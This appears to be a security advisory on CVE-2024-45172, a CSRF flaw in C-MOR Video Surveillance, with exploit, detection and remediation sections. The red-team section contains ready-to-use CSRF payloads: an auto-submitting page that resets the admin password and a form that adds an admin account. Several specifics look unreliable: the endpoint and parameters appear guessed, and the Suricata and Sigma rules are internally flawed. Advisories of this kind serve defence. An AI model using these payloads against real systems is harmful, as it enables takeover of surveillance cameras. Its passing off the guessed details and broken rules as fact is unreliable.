CVE-2024-45172

Executive Summary

CVE-2024-45172 identifies a critical security flaw in za-internet C-MOR Video Surveillance versions 5.2401 and 6.00PL01. The vulnerability is a Cross-Site Request Forgery (CSRF) attack, classified under CWE-352. The C-MOR web interface lacks any anti-CSRF tokens or same-origin policy enforcement, allowing an attacker to trick an authenticated administrator into executing unintended actions. This can lead to unauthorized configuration changes, user account manipulation, or system compromise. The vulnerability is publicly known, but no official patch has been released, and no exploit code is available in public repositories.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a standalone web application vulnerability in a proprietary video surveillance system.

CVSS Breakdown & Threat Level

The CVSS score is listed as 0.0, which is likely a placeholder. Based on the vulnerability characteristics, a realistic CVSS v3.1 vector would be:

• Attack Vector (AV): Network (N)
• Attack Complexity (AC): Low (L)
• Privileges Required (PR): None (N)
• User Interaction (UI): Required (R)
• Scope (S): Unchanged (U)
• Confidentiality (C): High (H)
• Integrity (I): High (H)
• Availability (A): High (H)

Estimated CVSS Score: 8.8 (High)

Threat Level: High. The vulnerability requires user interaction (e.g., clicking a link) but can lead to full system compromise if the attacker crafts a malicious request to change admin credentials or disable security features.

Deep Dive & Mechanics

The C-MOR Video Surveillance web interface does not implement CSRF protection mechanisms such as anti-CSRF tokens, SameSite cookies, or custom headers. This allows an attacker to create a malicious HTML page or email that, when viewed by an authenticated administrator, sends forged HTTP requests to the C-MOR server. Since the browser automatically includes the session cookie, the server treats the request as legitimate.

Attack Flow:

1. Attacker identifies a target C-MOR instance (e.g., via Shodan).
2. Attacker crafts a malicious HTML page containing a form or JavaScript that submits a request to change the admin password or add a new user.
3. Attacker lures the authenticated admin to visit the malicious page (e.g., via phishing email).
4. The admin's browser sends the forged request with the session cookie.
5. The C-MOR server processes the request, leading to unauthorized changes.

Impact: Full administrative control, ability to view live video feeds, modify recording settings, or pivot to internal network.

Vulnerable vs. Patched Code

Vulnerable Code (C-MOR 5.2401 / 6.00PL01): The web interface does not include any CSRF token validation. Example of a vulnerable form:

<form action="/cgi-bin/admin.cgi" method="POST">
  <input type="hidden" name="action" value="change_password">
  <input type="text" name="new_password" value="attacker123">
  <input type="submit" value="Submit">
</form>

No token is checked server-side.

Patched Code (Hypothetical): A patched version would include a CSRF token generated per session and validated on every state-changing request:

<form action="/cgi-bin/admin.cgi" method="POST">
  <input type="hidden" name="csrf_token" value="random_token_here">
  <input type="hidden" name="action" value="change_password">
  <input type="text" name="new_password" value="new_secure_password">
  <input type="submit" value="Submit">
</form>

Server-side validation:

if request.form['csrf_token'] != session['csrf_token']:
    abort(403)

Exploitation & Lab Setup

Red Team

Lab Setup:

• Target: C-MOR Video Surveillance 5.2401 or 6.00PL01 (downloadable from vendor site or use a VM).
• Attacker: Kali Linux with a web server (Apache/Nginx) to host malicious page.
• Tools: Burp Suite, curl, or custom HTML.

Exploitation Steps:

1. Identify the target C-MOR web interface (e.g., http://192.168.1.100).
2. Create a malicious HTML page that performs a CSRF attack to change the admin password:

<html>
<body>
<h1>Click to win a prize!</h1>
<form id="csrf" action="http://192.168.1.100/cgi-bin/admin.cgi" method="POST">
  <input type="hidden" name="action" value="change_password">
  <input type="hidden" name="new_password" value="hacked123">
  <input type="hidden" name="confirm_password" value="hacked123">
</form>
<script>
document.getElementById('csrf').submit();
</script>
</body>
</html>

3. Host the page on attacker's server: python3 -m http.server 8080.
4. Send the link to the authenticated admin (e.g., via email).
5. Once the admin visits the page, the password is changed to hacked123.
6. Log in with the new password and gain full access.

Alternative Payload: Add a new admin user:

<form action="http://192.168.1.100/cgi-bin/admin.cgi" method="POST">
  <input type="hidden" name="action" value="add_user">
  <input type="hidden" name="username" value="attacker">
  <input type="hidden" name="password" value="attacker123">
  <input type="hidden" name="role" value="admin">
</form>

Blue Team

Detection & Prevention:

• Monitor for unusual HTTP POST requests to /cgi-bin/admin.cgi with unexpected parameters.
• Implement CSRF tokens on the server side (if possible, as a workaround).
• Use SameSite cookies (set to Lax or Strict).
• Educate administrators to avoid clicking suspicious links while logged in.
• Deploy Web Application Firewall (WAF) rules to block requests without a valid Referer header.

Hunting Queries:

• Search logs for multiple failed login attempts followed by a successful login from a new IP.
• Look for requests to /cgi-bin/admin.cgi with Referer header not matching the C-MOR domain.

Indicators of Compromise (IOCs)

• Network IOCs:

  • HTTP POST requests to /cgi-bin/admin.cgi with action=change_password or action=add_user.
  • Requests with Referer header pointing to an external domain.
  • Unusual user-agent strings (e.g., empty or script-like).

• Host IOCs:

  • New user accounts in /etc/passwd or C-MOR internal database.
  • Modified configuration files (e.g., /etc/c-mor/config.cfg).
  • Unauthorized SSH keys added to the system.

• Log IOCs:

  • Web server logs showing POST requests to admin endpoints without a valid CSRF token.
  • Authentication logs showing password changes from unknown IPs.

Detection Engineering

YARA Rule

rule CVE_2024_45172_CSRF_Exploit {
    meta:
        description = "Detects CSRF exploit attempts against C-MOR Video Surveillance"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-45172"
    strings:
        $csrf_payload1 = "action=change_password" ascii wide nocase
        $csrf_payload2 = "action=add_user" ascii wide nocase
        $csrf_payload3 = "new_password=" ascii wide nocase
        $csrf_payload4 = "username=" ascii wide nocase
        $csrf_payload5 = "cgi-bin/admin.cgi" ascii wide nocase
    condition:
        any of ($csrf_payload*) and #csrf_payload1 > 0
}

Sigma Rule

title: C-MOR CSRF Exploit Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects HTTP POST requests to C-MOR admin endpoint with CSRF-sensitive parameters
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/cgi-bin/admin.cgi'
        cs-uri-query|contains:
            - 'action=change_password'
            - 'action=add_user'
    condition: selection
falsepositives:
    - Legitimate admin actions (if CSRF token is present)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2024-45172 C-MOR CSRF Exploit Attempt";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/cgi-bin/admin.cgi"; http_uri;
    content:"action=change_password"; http_client_body;
    sid:1000001;
    rev:1;
    reference:cve,2024-45172;
    classtype:attempted-admin;
    priority:1;
)

Remediation & Mitigation

Immediate Actions:

1. Isolate the C-MOR system from the internet if possible.
2. Implement a reverse proxy (e.g., Nginx) that adds CSRF token validation or blocks requests without a valid Referer.
3. Use a Web Application Firewall (WAF) to filter malicious requests.
4. Educate administrators to never click on links while logged into the C-MOR interface.

Long-term Fix:

• The vendor (za-internet) must release a patch that includes anti-CSRF tokens. Until then, consider migrating to a different surveillance solution.
• Apply network segmentation to limit access to the C-MOR web interface to trusted IPs only.

Workaround:

• Disable the web interface and use only local console access if possible.
• Use browser extensions like "Request Policy" or "NoScript" to block cross-site requests.

Valters IT